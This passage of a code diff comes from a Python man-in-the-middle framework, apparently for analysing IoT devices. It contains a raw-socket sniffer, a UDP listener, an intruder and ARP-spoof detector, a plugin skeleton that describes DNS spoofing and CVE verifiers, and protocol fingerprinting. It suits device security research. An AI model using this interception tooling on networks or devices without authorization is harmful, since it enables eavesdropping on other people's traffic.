("13.64.0.0", 11), # Microsoft
("52.0.0.0", 8), # Amazon
# qq.com (Tencent connectivity probe)
("182.254.0.0", 16),
]
def _ip_to_int(ip):
return struct.unpack("!I", socket.inet_aton(ip))[0]
def _in_net(ip, base, prefix):
ip_i = _ip_to_int(ip)
base_i = _ip_to_int(base)
mask = (0xFFFFFFFF << (32 - prefix)) & 0xFFFFFFFF
return (ip_i & mask) == (base_i & mask)
def _is_known_cloud(ip):
for base, prefix in KNOWN_CLOUD_NETS:
if _in_net(ip, base, prefix):
return True
return False
def _is_lan(ip):
return ip.startswith("192.168.") or ip.startswith("10.") or ip.startswith("172.")
def _record(kind, src, dst, detail):
ts = datetime.now().strftime("%H:%M:%S")
entry = {"ts": ts, "kind": kind, "src": src, "dst": dst, "detail": detail}
with _intruder_lock:
intruders.append(entry)
log(f"INTRUDER [{kind}] {src} -> {dst} {detail}", C_IMPORTANT)
def get_intruders():
with _intruder_lock:
return list(intruders)
def clear_intruders():
with _intruder_lock:
intruders.clear()
def run(cfg, flags, running_check):
try:
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
sock.bind((cfg["iface"], 0))
sock.settimeout(1)
except Exception as e:
log(f"IntruderWatch: cannot open raw socket: {e}", C_ERROR)
return
flags["intruder"] = True
log("IntruderWatch: armed", C_SUCCESS)
tgt_ip = cfg["target_ip"]
tgt_mac = cfg["target_mac"].lower()
our_ip = cfg["our_ip"]
router_ip = cfg["router_ip"]
seen_lan_peers = set() # other LAN hosts that contacted the target
seen_outbound = set() # (dst_ip, proto, port) tuples
seen_arp_macs = set() # MACs claiming to be the target
while running_check():
try:
pkt, _ = sock.recvfrom(65535)
except socket.timeout:
continue
except Exception:
break
if len(pkt) < 14:
continue
eth_proto = struct.unpack("!H", pkt[12:14])[0]
eth_src = ":".join(f"{b:02x}" for b in pkt[6:12])
eth_dst = ":".join(f"{b:02x}" for b in pkt[0:6])
# ── ARP (0x0806) ────────────────────────────────────────────
if eth_proto == 0x0806 and len(pkt) >= 42:
arp = pkt[14:42]
opcode = struct.unpack("!H", arp[6:8])[0]
sender_mac = ":".join(f"{b:02x}" for b in arp[8:14])
sender_ip = socket.inet_ntoa(arp[14:18])
if opcode == 2 and sender_ip == tgt_ip and sender_mac != tgt_mac:
key = sender_mac
if key not in seen_arp_macs:
seen_arp_macs.add(key)
_record("ARP_SPOOF", sender_mac, tgt_ip,
f"someone else claims to be target (real={tgt_mac})")
continue
# ── IPv4 (0x0800) ───────────────────────────────────────────
if eth_proto != 0x0800 or len(pkt) < 34:
continue
ip_hdr = pkt[14:34]
ihl = (ip_hdr[0] & 0x0F) * 4
proto = ip_hdr[9]
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
# Target is involved?
if tgt_ip not in (src_ip, dst_ip):
continue
peer_ip = dst_ip if src_ip == tgt_ip else src_ip
t_start = 14 + ihl
sp = dp = 0
if proto in (6, 17) and len(pkt) >= t_start + 4:
sp, dp = struct.unpack("!HH", pkt[t_start:t_start + 4])
# ── Rule 1: LAN peer that isn't us/router/target ────────────
if _is_lan(peer_ip) and peer_ip not in (our_ip, router_ip, tgt_ip):
if peer_ip not in seen_lan_peers:
seen_lan_peers.add(peer_ip)
_record("LAN_PEER", peer_ip, tgt_ip,
f"unknown LAN host talking to target (proto={proto} port={dp or sp})")
# ── Rule 2: outbound to non-whitelisted internet ────────────
if src_ip == tgt_ip and not _is_lan(peer_ip):
if not _is_known_cloud(peer_ip):
key = (peer_ip, proto, dp)
if key not in seen_outbound:
seen_outbound.add(key)
_record("UNKNOWN_DST", tgt_ip, peer_ip,
f"target contacting unlisted host (proto={proto} dport={dp})")
sock.close()
flags["intruder"] = False
log("IntruderWatch: stopped", C_SUCCESS)

106
services/sniffer.py Normal file
View File

@@ -0,0 +1,106 @@
"""Raw packet sniffer — catches all target traffic headed to us on any port"""
import socket
import struct
import subprocess
from utils.log import log, hexdump, save_raw, C_SUCCESS, C_ERROR, C_TRAFFIC, C_IMPORTANT
from utils import proto as proto_id
_orig_dst_cache = {}
def _lookup_orig_dst(src_ip, src_port, proto):
key = (src_ip, src_port, proto)
if key in _orig_dst_cache:
return _orig_dst_cache[key]
result = None
try:
out = subprocess.run(
["conntrack", "-L", "-s", src_ip, "-p", proto, "--sport", str(src_port)],
capture_output=True, text=True, timeout=2,
).stdout
for line in out.splitlines():
parts = line.split()
d_ip = None
d_port = None
for p in parts:
if p.startswith("dst=") and d_ip is None:
d_ip = p[4:]
elif p.startswith("dport=") and d_port is None:
d_port = p[6:]
if d_ip and d_port:
break
if d_ip and d_port:
result = f"{d_ip}:{d_port}"
break
except Exception:
result = None
_orig_dst_cache[key] = result
return result
def run(cfg, flags, running_check):
try:
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
sock.bind((cfg["iface"], 0))
sock.settimeout(1)
except:
log("Sniffer: cannot open raw socket", C_ERROR)
return
flags["sniffer"] = True
log("Sniffer: watching all target packets", C_SUCCESS)
seen = set()
while running_check():
try:
pkt, _ = sock.recvfrom(65535)
except socket.timeout:
continue
except:
break
if len(pkt) < 34:
continue
eth_proto = struct.unpack("!H", pkt[12:14])[0]
if eth_proto != 0x0800:
continue
ip_hdr = pkt[14:34]
ihl = (ip_hdr[0] & 0x0F) * 4
proto = ip_hdr[9]
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
if src_ip != cfg["target_ip"] or dst_ip != cfg["our_ip"]:
continue
t_start = 14 + ihl
if proto == 17 and len(pkt) >= t_start + 8:
sp, dp = struct.unpack("!HH", pkt[t_start:t_start + 4])
if dp == 53:
continue
payload = pkt[t_start + 8:]
key = f"udp:{dp}"
if key not in seen:
seen.add(key)
log(f"SNIFF: new UDP port {sp}->{dp}", C_IMPORTANT)
orig = _lookup_orig_dst(src_ip, sp, "udp") or "?"
pname = proto_id.detect(payload)
proto_id.record(pname)
log(f"SNIFF: UDP {cfg['target_ip']}:{sp} -> {dst_ip}:{dp} (orig={orig}) [{pname} {payload[:6].hex()}] ({len(payload)}B)", C_TRAFFIC)
log(hexdump(payload), 0)
save_raw(cfg["log_dir"], f"sniff_udp{dp}_{sp}", payload)
elif proto == 6 and len(pkt) >= t_start + 4:
sp, dp = struct.unpack("!HH", pkt[t_start:t_start + 4])
key = f"tcp:{dp}"
if key not in seen:
seen.add(key)
orig = _lookup_orig_dst(src_ip, sp, "tcp") or "?"
log(f"SNIFF: new TCP {cfg['target_ip']}:{sp} -> {dst_ip}:{dp} (orig={orig})", C_IMPORTANT)
sock.close()
flags["sniffer"] = False

38
services/udp_listener.py Normal file
View File

@@ -0,0 +1,38 @@
"""UDP listener — captures P2P master service and other UDP traffic"""
import socket
import struct
from utils.log import log, hexdump, save_raw, C_SUCCESS, C_ERROR, C_TRAFFIC
def run(port, cfg, flags, running_check):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.settimeout(1)
try:
sock.bind(("0.0.0.0", port))
except OSError as e:
log(f"UDP:{port} bind failed: {e}", C_ERROR)
return
flags[f"udp{port}"] = True
log(f"UDP: listening on :{port}", C_SUCCESS)
while running_check():
try:
data, addr = sock.recvfrom(4096)
except socket.timeout:
continue
except:
break
log(f"UDP:{port} from {addr[0]}:{addr[1]} ({len(data)}B)", C_TRAFFIC)
log(hexdump(data), 0)
save_raw(cfg["log_dir"], f"udp{port}_{addr[0]}_{addr[1]}", data)
if len(data) >= 4:
magic = struct.unpack("!I", data[:4])[0]
log(f" magic: 0x{magic:08x}", 0)
sock.close()
flags[f"udp{port}"] = False

0
targets/__init__.py Normal file
View File

View File

75
targets/example/plugin.py Normal file
View File

@@ -0,0 +1,75 @@
"""
Example target plugin for SetecMITM.
A plugin is just a Python module under `targets/<name>/plugin.py` that
exposes a `Plugin` class. The Controller imports it on startup if
`target_plugin = "<name>"` is set in the config.
A plugin can do anything: register custom DNS spoof rules, install extra
HTTP request handlers, add a known-endpoint list to the fuzzer, register
its own CVE verifiers, or extend the protocol fingerprinter. The simplest
useful plugin is the one that knows the device's expected cloud
hostnames + the device's UDP P2P port — that's enough to bootstrap
intruder detection and traffic decoding.
Copy this directory to `targets/<your_brand>/` and edit.
"""
from utils.log import log, C_INFO
class Plugin:
NAME = "example"
DESCRIPTION = "Skeleton plugin showing the expected interface."
# Expected outbound destinations the target talks to. Anything
# outside this list gets flagged in the Intruders tab.
KNOWN_CLOUD_NETS = [
# ("8.8.8.0", 24), # example: Google DNS
]
# Hostnames to spoof in DNS interception. Empty = spoof all.
DNS_SPOOF_HOSTS = [
# "api.example.com",
]
# UDP ports the target uses for P2P / push notifications.
UDP_PORTS = [
# 10240,
]
# Known API endpoints (for the future fuzzer module).
KNOWN_API_ENDPOINTS = [
# "/api/v1/login",
# "/api/v1/devices",
]
def __init__(self, cfg):
self.cfg = cfg
log(f"plugin '{self.NAME}': initialized", C_INFO)
# ── Optional hooks (Controller calls these if defined) ──
def on_start(self):
"""Called once when MITM services are about to start."""
pass
def on_stop(self):
"""Called once when MITM services have stopped."""
pass
def custom_http_handler(self, request):
"""
Optional: handle an intercepted HTTP request that the framework
otherwise wouldn't know what to do with. Return a (status, body)
tuple, or None to fall through.
"""
return None
def detect_protocol(self, payload_first_bytes):
"""
Optional: extend the built-in protocol fingerprinter. Return a
short label (e.g. "MyVendor-P2P") or None to fall through to
the framework's default detection.
"""
return None

0
utils/__init__.py Normal file
View File

99
utils/log.py Normal file
View File

@@ -0,0 +1,99 @@
"""Shared logging and hex formatting utilities"""
import os
import threading
from datetime import datetime
from collections import deque
lock = threading.Lock()
log_lines = deque(maxlen=2000)
_logfile = None
_logfile_path = None
LOG_MAX_BYTES = 1024 * 1024 * 1024 # 1 GiB
_log_rotate_lock = threading.Lock()
# Color codes for TUI
C_NONE = 0
C_ERROR = 1
C_SUCCESS = 2
C_INFO = 3
C_TRAFFIC = 4
C_IMPORTANT = 5
def init_logfile(path):
global _logfile, _logfile_path
os.makedirs(os.path.dirname(path), exist_ok=True)
_logfile_path = path
_logfile = open(path, "a")
def close_logfile():
global _logfile
if _logfile:
_logfile.close()
_logfile = None
def _maybe_rotate():
"""Rotate the active log file if it exceeds LOG_MAX_BYTES."""
global _logfile
if not _logfile or not _logfile_path:
return
try:
size = os.fstat(_logfile.fileno()).st_size
except OSError:
return
if size < LOG_MAX_BYTES:
return
with _log_rotate_lock:
try:
size = os.fstat(_logfile.fileno()).st_size
if size < LOG_MAX_BYTES:
return
_logfile.close()
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
os.rename(_logfile_path, f"{_logfile_path}.{ts}")
_logfile = open(_logfile_path, "a")
_logfile.write(f"[{datetime.now().strftime('%H:%M:%S')}] log rotated (>1GB)\n")
_logfile.flush()
except Exception as e:
try:
_logfile = open(_logfile_path, "a")
except Exception:
_logfile = None
def log(msg, color=C_NONE):
ts = datetime.now().strftime("%H:%M:%S")
line = f"[{ts}] {msg}"
with lock:
log_lines.append((line, color))
if _logfile:
try:
_logfile.write(line + "\n")
_logfile.flush()
except Exception:
pass
_maybe_rotate()
def hexdump(data, max_bytes=128):
lines = []
for i in range(0, min(len(data), max_bytes), 16):
chunk = data[i:i + 16]
hx = " ".join(f"{b:02x}" for b in chunk)
asc = "".join(chr(b) if 32 <= b < 127 else "." for b in chunk)
lines.append(f" {i:04x} {hx:<48} {asc}")
if len(data) > max_bytes:
lines.append(f" ... ({len(data)} bytes total)")
return "\n".join(lines)
def save_raw(log_dir, name, data):
import time
os.makedirs(log_dir, exist_ok=True)
path = f"{log_dir}/{name}_{int(time.time())}.bin"
with open(path, "wb") as f:
f.write(data)
return path

94
utils/proto.py Normal file
View File

@@ -0,0 +1,94 @@
"""
Protocol fingerprinting from packet payload first bytes.
Returns a short label like 'TLS', 'HTTP', 'IOTC', '?'.
"""
import threading
from collections import Counter
_seen = Counter()
_lock = threading.Lock()
def detect(data: bytes) -> str:
if not data:
return "?"
n = len(data)
b = data
# TLS: 0x16 (handshake) 0x03 0x0[0-4]
if n >= 3 and b[0] == 0x16 and b[1] == 0x03 and b[2] <= 0x04:
return "TLS"
# TLS app data / alert / change_cipher_spec
if n >= 3 and b[0] in (0x14, 0x15, 0x17) and b[1] == 0x03 and b[2] <= 0x04:
return "TLS-DATA"
# HTTP request methods (ASCII)
head = bytes(b[:8])
for verb in (b"GET ", b"POST ", b"PUT ", b"HEAD ", b"DELETE ", b"OPTIONS", b"PATCH ", b"CONNECT"):
if head.startswith(verb):
return "HTTP"
if head.startswith(b"HTTP/"):
return "HTTP-RESP"
# RTSP
if head.startswith(b"RTSP/") or head.startswith(b"OPTIONS rtsp") or head.startswith(b"DESCRIBE"):
return "RTSP"
# SSH banner
if head.startswith(b"SSH-"):
return "SSH"
# FTP banner
if head[:3] in (b"220", b"221", b"230"):
return "FTP?"
# DNS — udp payload usually starts with 16-bit ID then flags 0x01 0x00 (query) or 0x81 0x80 (resp)
if n >= 4 and b[2] in (0x01, 0x81) and b[3] in (0x00, 0x80, 0x20, 0xa0):
return "DNS"
# NTP — first byte: LI(2)|VN(3)|Mode(3); common values 0x1b (client), 0x24 (server)
if n >= 48 and b[0] in (0x1b, 0x23, 0x24, 0xdb, 0xe3):
return "NTP?"
# ThroughTek Kalay IOTC/AVAPI — begins with 0xF1 0xD0 or 0xF1 0xE0 family
if n >= 2 and b[0] == 0xF1 and b[1] in (0xD0, 0xE0, 0xF0, 0xC0, 0xA0, 0x10, 0x20, 0x30):
return "IOTC"
# STUN — first byte 0x00 or 0x01, second byte 0x00/0x01/0x11, magic cookie 0x2112A442 at offset 4
if n >= 8 and b[0] in (0x00, 0x01) and b[4:8] == b"\x21\x12\xa4\x42":
return "STUN"
# mDNS multicast / SSDP
if head.startswith(b"M-SEARCH") or head.startswith(b"NOTIFY *") or head.startswith(b"HTTP/1.1 200 OK"):
return "SSDP"
# MQTT — first byte 0x10 (CONNECT), 0x20 CONNACK, 0x30 PUBLISH...
if n >= 2 and (b[0] & 0xF0) in (0x10, 0x20, 0x30, 0x40, 0xC0, 0xD0, 0xE0) and b[0] != 0x00:
# weak signal — only if remaining length is sane
if 2 <= b[1] <= 200 and (b[0] & 0x0F) == 0:
return "MQTT?"
return "?"
def label_with_hex(data: bytes) -> str:
"""Return 'PROTO[hex6]' for log lines."""
p = detect(data)
h = data[:6].hex() if data else ""
return f"{p}[{h}]"
def record(proto: str):
with _lock:
_seen[proto] += 1
def seen_counts():
with _lock:
return dict(_seen)
def reset():
with _lock:
_seen.clear()